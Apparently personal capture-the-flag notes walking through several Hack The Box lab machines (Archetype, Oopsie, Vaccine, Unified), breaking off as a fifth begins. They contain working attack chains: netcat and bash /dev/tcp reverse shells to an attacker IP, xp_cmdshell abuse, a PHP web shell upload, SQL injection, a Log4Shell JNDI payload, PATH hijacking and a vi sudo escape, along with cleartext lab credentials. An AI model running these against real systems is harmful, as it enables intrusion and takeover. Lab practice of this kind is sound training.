TIER: 2

ARCHETYPE - WINDOWS - VERY EASY

TAGS: Network, Protocols, MSSQL, SMB, Impacket, Powershell, Reconnaissance, Remote Code Execution, Clear Text Credentials, Information Disclosure, Anonymous/Guest Access

  1. Enumeration:

NAMP:

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC 10.129.17.61 

We found that SMB ports are open and also that a Microsoft SQL Server 2017 is running on port 1433. We are going to enumerate the SMB with the tool smbclient :

SMB:

┌──(kali㉿kali)-[~]
└─$ smbclient -N -L \\\\10.129.17.61\\ 
-N : No password
-L : This option allows you to look at what services are available on a server

smbclient -N \\\\10.129.17.61\\backups
get prod.dtsConfig

ARCHETYPE sql_svc
M3g4c0rp123

cd impacket/examples/
python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.17.61 -windows-auth

We located a couple of interesting shares. Shares ADMIN$ & C$ cannot be accessed as the Access Denied error states, however, we can try to access and enumerate the backups share by using the following command

There is a file named prod.dtsConfig which seems like a configuration file. We can download it to our local machine by using the get command for further offline inspection.

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

By reviewing the content of this configuration file, we spot in cleartext the password of the user sql_svc , which is M3g4c0rp123 , for the host ARCHETYPE. With the provided credentials we just need a way to connect and authenticate to the MSSQL server. Impacket tool includes a valuable python script called mssqlclient.py which offers such functionality. But first we should better understand what Impacket is and how we can install it. As the author states

MSSQL server: https://github.com/SecureAuthCorp/impacket Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
pip3 install -r requirements.txt
Note: In case you don't have pip3 (pip for Python3) installed, or Python3, install it with the following commands:
sudo apt install python3 python3-pip

Now we are ready to learn about the usage of the tool and specifically of the mssqlclient.py script.

cd impacket/examples/

┌──(kali㉿kali)-[~/impacket/examples]
└─$ python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.119.134 -windows-auth
  1. Foothold:

IMPACKET:

As a first step we need to check what is the role we have in the server. We will use the command found in the above cheatsheet:

SELECT is_srvrolemember('sysadmin');

The output is 1 , which translates to True In previous cheatsheets, we found also how to set up the command execution through the xp_cmdshell:

EXEC xp_cmdshell 'net user'; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell 

//first as it’s disabled by default:
EXEC sp_configure 'show advanced options', 1; --priv
RECONFIGURE; — priv
EXEC sp_configure 'xp_cmdshell', 1; --priv
RECONFIGURE; --priv

First it is suggested to check if the xp_cmdshell is already activated by issuing the first command:

SQL> EXEC xp_cmdshell 'net user';

Indeed is not activated. For this reason we will need to proceed with the activation of xp_cmdshell as follows:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Now we are able to execute system commands:

SQL> xp_cmdshell "whoami"

output              
-----------------   
archetype\sql_svc   

NULL    

Finally we managed to get a command execution!

Now, we will attempt to get a stable reverse shell. We will upload the nc64.exe binary to the target machine and execute an interactive cmd.exe process on our listening port.

We navigate to the folder and then start the simple HTTP server, then the netcat listener in a different tab by using the following commands:

┌──(kali㉿kali)-[~/Desktop/HTB/Machines]
└─$ sudo python3 -m http.server 80

POWERSHELL:

In order to upload the binary in the target system, we need to find the appropriate folder for that. We will be using PowerShell for the following tasks since it gives us much more features then the regular command prompt. In order to use it, we will have to specify it each time we want to execute it until we get the reverse shell. To do that, we will use the following syntax:

powershell -c command

The -c flag instructs the powershell to execute the command. We will print the current working directory by issuing the following: We found the folder where we will place the binary. To do that, we will use the wget alias within PowerShell ( wget is actually just an alias for Invoke-WebRequest ):

xp_cmdshell "powershell -c pwd"

As a user archetype\sql_svc , we don't have enough privileges to upload files in a system directory and only user Administrator can perform actions with higher privileges. We need to change the current working directory somewhere in the home directory of our user where it will be possible to write. After a quick enumeration we found that Downloads is working perfectly for us to place our binary. In order to do that, we are going to use the wget tool within PowerShell:

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.22/nc64.exe -outfile nc64.exe"

We can verify on our simple Python HTTP server that the target machine indeed performed the request:

┌──(kali㉿kali)-[~/Desktop/HTB/Machines]
└─$ sudo python3 -m http.server 80

Now, we can bind the cmd.exe through the nc to our listener:

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.22 443"

Finally looking back at our netcat listener we can confirm our reverse shell and our foothold to the system:

┌──(kali㉿kali)-[~/Desktop/HTB/Machines]
└─$ sudo nc -lvnp 443  

  1. Privilege Escalation:

For privilege escalation, we are going to use a tool called winPEAS , which can automate a big part of the enumeration process in the target system. You can find more information for enumerating Windows system for Privilege Escalation paths in the HTB academy module Windows Privilege Escalation.

winPEAS:

┌──(kali㉿kali)-[~/Desktop/HTB/Machines]
└─$ sudo python3 -m http.server 80

On the target machine, we will execute the wget command in order to download the program from our system. The file will be downloaded in the directory from which the wget command was run. We will use powershell for all our commands:

powershell
wget http://10.10.16.22/winPEASx64.exe -outfile winPEASx64.exe

We successfully downloaded the binary. To execute it, we will do the following:

PS C:\Users\sql_svc\Downloads> .\winPEASx64.exe

From the output we can observer that we have SeImpersonatePrivilege (more information can be found here), which is also vulnerable to juicy potato exploit. However, we can first check the two existing files where credentials could be possible to be found.

As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. To do that, we will read the PowerShell history file, which is the equivalent of .bash_history for Linux systems. The file ConsoleHost_history.txt can be located in the directory

We can navigate to the folder where the PowerShell history is stored:

cd C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 

To read the file, we will type:

type ConsoleHost_history.txt 
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!

We can now use the tool psexec.py again from the Impacket suite to get a shell as the administrator:

┌──(kali㉿kali)-[~]
└─$ cd impacket/examples
                                                                                     
┌──(kali㉿kali)-[~/impacket/examples]
└─$ python3 psexec.py administrator@10.129.95.42
MEGACORP_4dm1n!!

whoami

-------------------------------------------------------------------------------------

OOPSIE - LINUX- VERY EASY

TAGS: PHP, Web, Custom Applications, Session Handling, Apache, Reconnaissance, Web Site Structure Discovery, Cookie Manipulation, SUID Exploitation, Authentication bypass, Clear Text Credentials, Arbitrary File Upload, Insecure Direct Object Reference (IDOR), Path Hijacking

  1. Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC 10.129.239.18 

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

PROXY THOUGH BURP Then we select the "Manual proxy configuration" enter HTTP Proxy 127.0.0.1:8080 Note: check the option of Also use this proxy for FTP and HTTPS

We need to disable the interception in Burp suite as it's enabled by default. Navigate to Proxy Tab , and under Intercept subtab select the button where Intercept in on so to disable it. Now that everything is setup correctly we refresh the page in our browser and switch in Burp Suite under the Target tab and then on the Sitemap option: It is possible to spot some directories and files that weren't visible while browsing. One that is indeed very interesting it's the directory of /cdn-cgi/login

DEFAULT CREDS After trying a couple of default username/password combinations, we didn't managed to get any access. But there is also an option to Login as Guest . Trying that and now we are presented with couple of new navigation options as we are logged in as Guest:

We need to find a way to escalate our privileges from user Guest to super admin role. One way to try this is by checking if cookies and sessions can be manipulated. Then we can navigate to Storage section where Cookies are being presented.

We can try change the id variable to something else like for example 1 to see if we can enumerate the users Indeed we got an information disclosure vulnerability, which we might be able to abuse. We now know the access ID of the admin user thus we can try to change the values in our cookie through the Developer tools so the user value to be 34322 and role value to be admin . Then we can revisit the Uploads page.

  1. Foothold:

Now that we got access to the upload form we can attempt to upload a PHP reverse shell.

https://github.com/BlackArch/webshells
https://github.com/BlackArch/webshells/blob/master/php/php-reverse-shell.php

BRUTE FORCE DIR Now we might need to bruteforce directories in order to locate the folder where the uploaded files are stored but we can also guess it. uploads directory seems a logical assumption. We confirm that by running also the gobuster tool.

gobuster dir --url http://{TARGET_IP}/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

REVERSE SHELL But first, we will need to set up a netcat connection:

nc -lvnp 1234

Then request our shell through the browser:

http://10.129.124.1/uploads/php-reverse-shell.php

We got a reverse shell! In order to have a functional shell though we can issue the following:

python3 -c 'import pty;pty.spawn("/bin/bash")'
  1. Lateral Movement:

As user www-data we can't achieve many things as the role has restricted access on the system. Since the website is making use of PHP and SQL we can enumerate further the web directory for potential disclosures or misconfigurations. After some search we can find some interesting php files under /var/www/html/cdncgi/login directory. We can manually review the source code of all the pages or we can try search for interesting strings with the usage of grep tool. grep is a tool that searches for PATTERNS in each FILE and print lines that match the patterns. We can use cat * to read all files while pipeing the output to grep where we provide the pattern of a string that starts with the word passw and followed by any string such as for example words passwd or password. We can also use the switch -i to ignore case sensitive words like Password.

cat * | grep -i passw*
cat /etc/passwd

We found user robert . In order to login as this user, we use the su command:

su robert
M3g4C0rpUs3r!

Unfortunately, that wasn't the password for user robert . Let's read one by one the files now. We are going to start with db.php which seems interesting

cat db.php
  1. Privilege Escalation:

Before running any privilege escalation or enumeration script, let's check the basic commands for elevating privileges like sudo and id:

sudo -l
id

We observe that user robert is part of the group bugtracker . Let's try to see if there is any binary within that group:

find / -group bugtracker 2>/dev/null

We found a file named bugtracker . We check what privileges and what type of file is it:

ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker

There is a suid set on that binary, which is a promising exploitation path.

Commonly noted as SUID (Set owner User ID), the special permission for the user access level has a single function: A file with SUID always executes as the user who owns the file, regardless of the user passing the command. If the file owner doesn't have execute permissions, then use an uppercase S here. In our case, the binary 'bugtracker' is owned by root & we can execute it as root since it has SUID set.

/usr/bin/bugtracker

The tool is accepting user input as a name of the file that will be read using the cat command, however, it does not specifies the whole path to file cat and thus we might be able to exploit this. We will navigate to /tmp directory and create a file named cat with the following content:

/bin/sh
robert@oopsie:/tmp$ echo '/bin/sh' > cat

We will then set the execute privileges:

chmod +x cat

In order to exploit this we can add the /tmp directory to the PATH environmental variable. PATH is an environment variable on Unix-like operating systems, DOS, OS/2, and Microsoft Windows, specifying a set of directories where executable programs are located.

export PATH=/tmp:$PATH

Now we will check the $PATH:

echo $PATH

Finally execute the bugtracker from /tmp directory:

bugtracker
whoami

Remove that cat on the /tmp directory..! Then cat the flag

rm /tmp/cat
cat root.txt

-------------------------------------------------------------------------------------

VACCINE - LINUX- VERY EASY

TAGS: Web, Network, Vulnerability Assessment, Databases, Injection, Custom Applications, Protocols, Source Code Analysis, Apache, PostgreSQL, FTP, PHP, Reconnaissance, Password Cracking, SUDO Exploitation, SQL Injection, Remote Code Execution, Clear Text Credentials, Anonymous/Guest Access

1. Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.95.174

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.22
|      Logged in as ftpuser
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: MegaCorp Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

There are three ports open: 21 (FTP), 22 (SSH), 80 (HTTP). Since we don't have any credentials for the SSH service, we will start off with enumeration of the port 21, since the Nmap shows that it allows anonymous login:

FTP

┌──(kali㉿kali)-[~]
└─$ sudo ftp 10.129.95.174
anonymous
ENTER
ls -la
dir 

We can see that there is a backup.zip file available, we will download it:

get backup.zip

It will be located in the folder from where we established the FTP connection. We will try to unzip it with the command unzip:

exit 
ls 
unzip backup.zip 

The compressed archive asks us for a password. We will try a couple of basic passwords to see if it will let us in, however, no luck in it. We will have to somehow crack the password. The tool we will use for this task is named John the Ripper.

PASSWORD CRACKING

JOHN THE RIPPER

┌──(kali㉿kali)-[~]
└─$ john --help

In order to successfully crack the password, we will have to convert the ZIP into the hash using the zip2john module that comes within John the Ripper:

┌──(kali㉿kali)-[~]
└─$ zip2john backup.zip > hashes 
$ ls 
$ cat hashes 

Now, we will type the following command:

john -wordlist=/usr/share/wordlists/rockyou.txt hashes

So it will load the wordlist & it will do a bruteforce attack against the hash stored in file hashes. Once the password is cracked, we will use the --show option to display the cracked password.

┌──(kali㉿kali)-[~]
└─$ john --show hashes                                    
backup.zip:741852963::backup.zip:style.css, index.php:backup.zip

We can see the cracked password: 741852963 . We will extract the files now:

┌──(kali㉿kali)-[~]
└─$ unzip backup.zip 
$ 741852963
$ ls -la 

We will now read the index.php file first:

cat index.php

session_start();
 if(isset($_POST['username']) && isset($_POST['password'])) {
 if($_POST['username'] === 'admin' && md5($_POST['password']) ===
"2cb42f8734ea607eefed3b70af13bbd3") {
 $_SESSION['login'] = "true";
 header("Location: dashboard.php");

We can see the credentials of admin:2cb42f8734ea607eefed3b70af13bbd3 , which we might be able to use. But the password seems hashed.

HASHCAT

We will try to identify the hash type & crack it with the hashcat:

┌──(kali㉿kali)-[~]
└─$ hashid 2cb42f8734ea607eefed3b70af13bbd3

It provides a huge list of possible hashes, however, we will go with MD5 first: We will put the hash in a text file called hash & then crack it with hashcat:

┌──(kali㉿kali)-[~]
└─$ echo '2cb42f8734ea607eefed3b70af13bbd3' > hash

┌──(kali㉿kali)-[~]
└─$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt 
Hashcat cracked the password: qwerty789

We will start our web browser to enumerate the port 80, see where can we log in We can see the login page, by supplying the previously found username & cracked password, we managed to log in successfully!

10.129.95.174
admin:qwerty789 

2. Foothold:

So the dashboard has nothing special in it, however, it has a catalogue, which might be connected with the database. Let's create any query:

http://10.129.95.174/dashboard.php?search=

By checking the URL, we can see that there is a variable $search which is responsible for searching through catalogue. We could test it to see if it's SQL injectable, but instead of doing it manually, we will use a tool called sqlmap.

SQLMAP

┌──(kali㉿kali)-[~]
└─$ sqlmap -h

We will provide the URL & the cookie to the sqlmap in order for it to find vulnerability. The reason why we have to provide a cookie is because of authentication To grab the cookie, we can intercept any request in Burp Suite & get it from there, however, you can install a great extension for your web browser called cookie-editor :

Google: https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm
Firefox: https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/

The cookies in HTTP messages of requests are usually set the following way:

┌──(kali㉿kali)-[~]
└─$ PHPSESSID=omt2d443cagdlq1g218qcu1e0r

Knowing that, here's how our sqlmap syntax should look:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' --cookie="PHPSESSID=omt2d443cagdlq1g218qcu1e0r"

We ran the sqlmap. Note: There will be some questions that the tool will ask you, you can respond with 'Y ' or 'N', or just by pressing ENTER for the default answer.

[00:38:55] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                                                                     
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: search (GET)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=any query';SELECT PG_SLEEP(5)--

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: search=any query' UNION ALL SELECT NULL,NULL,NULL,(CHR(113)||CHR(107)||CHR(113)||CHR(120)||CHR(113))||(CHR(117)||CHR(80)||CHR(115)||CHR(121)||CHR(115)||CHR(122)||CHR(117)||CHR(99)||CHR(109)||CHR(111)||CHR(75)||CHR(103)||CHR(121)||CHR(110)||CHR(108)||CHR(67)||CHR(88)||CHR(120)||CHR(107)||CHR(78)||CHR(118)||CHR(74)||CHR(65)||CHR(87)||CHR(85)||CHR(115)||CHR(72)||CHR(66)||CHR(73)||CHR(70)||CHR(99)||CHR(116)||CHR(111)||CHR(111)||CHR(121)||CHR(106)||CHR(67)||CHR(99)||CHR(101)||CHR(115))||(CHR(113)||CHR(122)||CHR(98)||CHR(118)||CHR(113)),NULL-- oHIV
---
[00:39:01] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL   

http://10.129.95.174/dashboard.php?search=any%20query%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(CHR(113)||CHR(107)||CHR(113)||CHR(120)||CHR(113))||(CHR(117)||CHR(80)||CHR(115)||CHR(121)||CHR(115)||CHR(122)||CHR(117)||CHR(99)||CHR(109)||CHR(111)||CHR(75)||CHR(103)||CHR(121)||CHR(110)||CHR(108)||CHR(67)||CHR(88)||CHR(120)||CHR(107)||CHR(78)||CHR(118)||CHR(74)||CHR(65)||CHR(87)||CHR(85)||CHR(115)||CHR(72)||CHR(66)||CHR(73)||CHR(70)||CHR(99)||CHR(116)||CHR(111)||CHR(111)||CHR(121)||CHR(106)||CHR(67)||CHR(99)||CHR(101)||CHR(115))||(CHR(113)||CHR(122)||CHR(98)||CHR(118)||CHR(113)),NULL--%20oHIV

Out of this output, the thing that is important to us is the following: GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? The tool confirmed that the target is vulnerable to SQL injection, which is everything we needed to know. We will run the sqlmap once more, where we are going to provide the --os-shell flag, where we will be able to perform command injection:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' --cookie="PHPSESSID=omt2d443cagdlq1g218qcu1e0r" --os-shell

We got the shell, however, it is not very stable & interactive. To make it much stable, we will use the following payload:

bash -c "bash -i >& /dev/tcp/10.10.16.22/443 0>&1"

NETCAT

We will turn on the netcat listener on port 443:

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443 

Then we will execute the payload:

 bash -c "bash -i >& /dev/tcp/10.10.16.22/443 0>&1"

We got the foothold. We will quickly make our shell fully interactive:

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
export TERM=xterm

We got the fully interactive shell now. The user flag could be found in /var/lib/postgresql/

postgres@vaccine:/var/lib/postgresql/11/main$ ls -la
postgres@vaccine:/var/lib/postgresql/11/main$ cd ..
postgres@vaccine:/var/lib/postgresql/11$ cd ..
postgres@vaccine:/var/lib/postgresql$ ls
11  user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7

3. Privilege Escalation

We are user postgres , but we don't know the password for it, which means we cannot check our sudo privileges:

postgres@vaccine:~$ sudo -l
[sudo] password for postgres:

We will try to find the password in the /var/www/html folder, since the machine uses both PHP & SQL, meaning that there should be credentials in clear text

In the dashboard.php , we found the following:

session_start();
 if($_SESSION['login'] !== "true") {
 header("Location: index.php");
 die();
 }
 try {
 $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres
password=P@s5w0rd!");
 }

postgres
P@s5w0rd!

SSH

Note that the shell might die all of a sudden, instead of re-doing the exploit all over again, we will use the SSH to log in:

┌──(kali㉿kali)-[~]
└─$ ssh postgres@10.129.95.174
P@s5w0rd!

We will type the sudo -l to see what privileges do we have So we have sudo privileges to edit the pg_hba.conf file using vi by running sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf . We will go to GTFOBins to see if we can abuse this privilege:

https://gtfobins.github.io/gtfobins/vi/#sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated
privileges and may be used to access the file system, escalate or maintain privileged
access.

sudo vi -c ':!/bin/sh' /dev/null

So we will execute it We are unable to execute the following command because sudo is restricted to only /bin/vi /etc/postgresql/11/main/pg_hba.conf

There's also an alternative way according to GTFOBins:

vi
:set shell=/bin/sh
:shell

So we will perform that as well:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
P@s5w0rd!

We managed to open the vi editor as the superuser, which has root privileges Now we will press the : button to set the instructions inside Vi:

:set shell=/bin/sh

Next, we will open up the same instruction interface & type the following:

:shell

root@vaccine:/var/lib/postgresql# id
uid=0(root) gid=0(root) groups=0(root)

root@vaccine:/var/lib/postgresql# whoami
root

root@vaccine:/var/lib/postgresql# cd /root

root@vaccine:~# ls
pg_hba.conf  root.txt  snap

root@vaccine:~# cat root.txt
dd6e058e814260bc70e9bbdef2715849

-------------------------------------------------------------------------------------

UNIFIED - LINUX- VERY EASY

TAGS: Web, Vulnerability Assessment, Databases, Injection, Custom Applications, Outdated Software, MongoDB, Java, Reconnaissance, Clear Text Credentials, Default Credentials, Code Injection

  1. Enumeration:

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.129.131.98

-sC: Performs a script scan using the default set of scripts. It is equivalent to --
script=default.
-sV: Version detection
-v: Increases the verbosity level, causing Nmap to print more information about the
scan in progress.

The scan reveals port 8080 open running an HTTP proxy. The proxy appears to redirect requests to port 8443 , which seems to be running an SSL web server. We take note that the HTTP title of the page on port 8443 is " UniFi Network "

Upon accessing the page using a browser we are presented with the UniFi web portal login page and the version number is 6.4.54 . If we ever come across a version number it’s always a great idea to research that particular version on Google. A quick Google search using the keywords UniFy 6.4.54 exploit reveals an article that discusses the in-depth exploitation of the CVE-2021-44228 vulnerability within this application.

To determine if this is the case, we can use FoxyProxy after making a POST request to the /api/login endpoint, to pass on the request to BurpSuite, which will intercept it as a middle-man. The request can then be edited to inject commands. We provide a great module based around intercepting web requests.

First, we attempt to login to the page with the credentials test:test as we aren’t trying to validate or gain access. The login request will be captured by BurpSuite and we will be able to modify it. Before we modify the request, let's send this HTTPS packet to the Repeater module of BurpSuite by pressing CTRL+R

  1. Exploitation:

The Exploitation section of the previously mentioned article mentions that we have to input our payload into the remember parameter. Because the POST data is being sent as a JSON object and because the payload contains brackets {} , in order to prevent it from being parsed as another JSON object we enclose it inside brackets " so that it is parsed as a string instead.

{"username":"test","password":"test","remember":"${jndi:ldap://{Tun0 IP Address}/whatever}","strict":true}

We input the payload into the remember field as shown above so that we can identify an injection point if one exists. If the request causes the server to connect back to us, then we have verified that the application is vulnerable.

JNDI: is the acronym for the Java Naming and Directory Interface API . By making calls to this API, applications locate resources and other program objects. A resource is a program object that provides connections to systems, such as database servers and messaging systems.

LDAP: is the acronym for Lightweight Directory Access Protocol , which is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over the Internet or a Network. The default port that LDAP runs on is port 389 .

After we hit "send" the "Response" pane will display the response from the request. The output shows us an error message stating that the payload is invalid, but despite the error message the payload is actually being executed. Let's proceed to starting tcpdump on port 389 , which will monitor the network traffic for LDAP connections.

tcpdump is a data-network packet analyzer computer program that runs under a command line interface. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 port 389

After tcpdump has been started, click the Send button in repeater. The tcpdump output shows a connection being received on our machine. This proves that the application is indeed vulnerable since it is trying to connect back to us on the LDAP port 389. We will have to install Open-JDK and Maven on our system in order to build a payload that we can send to the server and will give us Remote Code Execution on the vulnerable system.

┌──(kali㉿kali)-[~]
└─$ sudo apt install openjdk-11-jdk -y

┌──(kali㉿kali)-[~]
└─$ java -version  

Open-JDK is the Java Development kit, which is used to build Java applications. Maven on the other hand is an Integrated Development Environment (IDE) that can be used to create a structured project and compile our projects into jar files . These applications will also help us run the rogue-jndi Java application, which starts a local LDAP server and allows us to receive connections back from the vulnerable server and execute malicious code. Once we have installed Open-JDK, we can proceed to install Maven. But first, let’s switch to root user.

┌──(kali㉿kali)-[~]
└─$ sudo apt-get install maven

┌──(kali㉿kali)-[~]
└─$ mvn -v   

Once we have installed the required packages, we now need to download and build the Rogue-JNDI Java application. Let's clone the respective repository and build the package using Maven.

git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package

This will create a .jar file in rogue-jndi/target/ directory called RogueJndi-1.1.jar . Now we can construct our payload to pass into the RogueJndi-1-1.jar Java application. To use the Rogue-JNDI server we will have to construct and pass it a payload, which will be responsible for giving us a shell on the affected system. We will be Base64 encoding the payload to prevent any encoding issues.

┌──(kali㉿kali)-[~]
└─$ echo 'bash -c bash -i >&/dev/tcp/10.10.16.22/4444 0>&1' |base64

After the payload has been created, start the Rogue-JNDI application while passing in the payload as part of the --command option and your tun0 IP address to the --hostname option.

┌──(kali㉿kali)-[~]
└─$ java -jar target/RogueJndi-1.1.jar --command "bash -c
{echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjIvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.16.22"

Now that the server is listening locally on port 389 , let's open another terminal and start a Netcat listener to capture the reverse shell.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 4444 

Going back to our intercepted POST request, let's change the payload to:

${jndi:ldap://10.10.16.22:1389/o=tomcat}

After sending the request, a connection to our rogue server is received and the following message is shown.

Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload

Once we receive the output from the Rogue server, a shell spawns on our Netcat listener and we can upgrade the terminal shell using the following command.

┌──(kali㉿kali)-[~]
└─$ script /dev/null -c bash

The above command will turn our shell into an interactive shell that will allow us to interact with the system more effectively. From here we can navigate to /home/Michael/ and read the user flag.

cd /home/michael
cat user.txt
6ced1a6a89e666c0620cdb10262ba127

  1. Privilege Escalation:

The article states we can get access to the administrator panel of the UniFi application and possibly extract SSH secrets used between the appliances. First let's check if MongoDB is running on the target system, which might make it possible for us to extract credentials in order to login to the administrative panel.

unifi@unified:/usr/lib/unifi$ ps aux | grep mongo

MongoDB is a source-available cross-platform document-oriented database program. Classified as a NoSQL database program, MongoDB uses JSON-like documents with optional schemas.

Let's interact with the MongoDB service by making use of the mongo command line utility and attempting to extract the administrator password. A quick Google search using the keywords UniFi Default Database shows that the default database name for the UniFi application is ace .

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

        "_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
        "name" : "administrator",
        "email" : "administrator@unified.htb",
        "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",

The output reveals a user called Administrator. Their password hash is located in the x_shadow variable but in this instance it cannot be cracked with any password cracking utilities. Instead we can change the x_shadow password hash with our very own created hash in order to replace the administrators password and authenticate to the administrative panel. To do this we can use the mkpasswd command line utility.

mkpasswd -m sha-512 Password1234

The $6$ is the identifier for the hashing algorithm that is being used, which is SHA-512 in this case, therefore we will have to make a hash of the same type. SHA-512, or Secure Hash Algorithm 512, is a hashing algorithm used to convert text of any length into a fixed-size string. Each output produces a SHA-512 length of 512 bits (64 bytes). This algorithm is commonly used for email addresses hashing, password hashing...

Once we've generated the SHA-512 hash the output will look similar to the one above, however due to the salt the hash will change every time it is generated. A salt is added to the hashing process to force their uniqueness, increase their complexity without increasing user requirements, and to mitigate password attacks like hash tables. Let's proceed to replacing the existing hash with the one we created.

mongo --port 27117 ace --eval 'db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$GO2Phygkz/cisDB5$J4qULrbSulUBp7bb5wm0Kan7DCCKKP9ElIckXJt6md6pJIipuVdf9JXWg6yMF235l3PtCgS2P.XE77kD5TrhN0"}})'

We can verify that the password has been updated in the Mongo database by running the same command as above. The SHA-512 hash appears to have been updated.

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

Let's now visit the website and log in as administrator . It is very important to note that the username is case sensitive. The authentication process was successful and we now have administrative access to the UniFi application.

UniFi offers a setting for SSH Authentication, which is a functionality that allows you to administer other Access Points over SSH from a console or terminal. Navigate to settings -> site and scroll down to find the SSH Authentication setting. SSH authentication with a root password has been enabled.

The page shows the root password in plaintext is NotACrackablePassword4U2022 . Let's attempt to authenticate to the system as root over SSH.

ssh root@10.129.96.149
NotACrackablePassword4U2022

The connection is successful and the root flag can be found in /root

-------------------------------------------------------------------------------------

INCLUDED - VIP - LINUX- VERY EASY

TAGS: PHP, Web, Network, Custom Applications, Protocols, Apache, TFTP, LXD, Reconnaissance, Local File Inclusion, Clear Text Credentials, Arbitrary File Upload

  1. Enumeration:

┌──(kali㉿kali)-[~]
